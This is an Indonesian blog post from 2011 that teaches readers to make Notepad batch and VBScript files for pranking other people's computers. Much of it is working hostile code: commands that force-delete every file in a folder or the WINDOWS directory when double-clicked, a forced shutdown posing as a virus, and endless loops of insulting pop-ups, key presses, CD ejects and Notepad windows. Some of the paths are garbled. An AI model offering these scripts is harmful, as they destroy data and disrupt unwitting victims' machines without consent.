Selasa, 17 Mei 2011

NOTEPAD

Top of Form
Tutorial ini dibuat untuk kalian yang pengen belajar Notepad buat isengin komputer orang lain. Tulis beberapa perintah dasar pada notepad, lalu tinggal didouble klik file tersebut. Tinggal lihat hasil dari file yang kamu buat…Tapi resiko, tanggung sendiri…
Menghapus Files dan Folder
1. buka notepad trus ketik DEL /F /Q *
2. save as dan simpan dengan nama test.cmd
3. kalau didobel klik file test.cmd maka semua files dan folder akan terhapus
Menghapus Files Tertentu
1. buka notepad trus ketik erase C:TEST.txt
2. save as dan simpan dengan nama test.cmd
3. kalo didobel klik file test.cmd maka files TEST.txt di drive c:\ akan terhapus
Menghapus Folder Tertentu
1. buka notepad trus ketik erase C:WINDOWS
2. save as dan simpan dengan nama test.cmd
3. kalo didobel klik file test.cmd maka folder WINDOWS di drive c:\ akan terhapus
3. Menghapus file dan folder
- Buka notepad
- Trus ketik DEL /F /Q *
- Save as dan simpan dengan nama test.cmd
- Kalau didobel klik file test.cmd maka semua files dan folder akan terhapus.
bikin mati komputer orang
shutdown.exe /r /c “komputer ini akan mati sendiri by orang tidak dikenal’false virus’”
kemudian simpan file ini dengan yang anda sukai tetapi harus berextensen *.bat, anda juga dapat menganti kata shutdown dengan log off atau yang lain.

1.message ya
ng nongol melulu
Code:
@ECHO off
:Begin
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN
2.bikin shutdown+message
Code:
@echo off
msg * apaan sih lo
shutdown -s -c "Error! muka mu standar abis"
3.Mainin Caps Lock button
Code:
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
save namafile.vbs
4.buka tutup CD/DVD
Code:
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
save namafile.vbs
5.bikin vbscript nongol mlulu
Code:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
save namafile.vbs
ket:di task manager full wscript yg lg running
6.teken tombol backspace mlulu
Code:
MsgBox "kembali ke menu sebelumnya"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
save namafile.vbs
7.otomatis ngetik "lu jelek banget sih" di notepad/word
Code:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "lu jelek banget sih!!!"
loop
save namafile.vbs
8.buka notepad trus menerus
Code:
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
save namafile.BAT
ket:termasuk yang ngeselin banget nih
bisa di ganti,terserah mau buka cmd ato buka yg lain..ganti aja dir nya.
klo yg lain simpan dengan extensi bat bukan vbs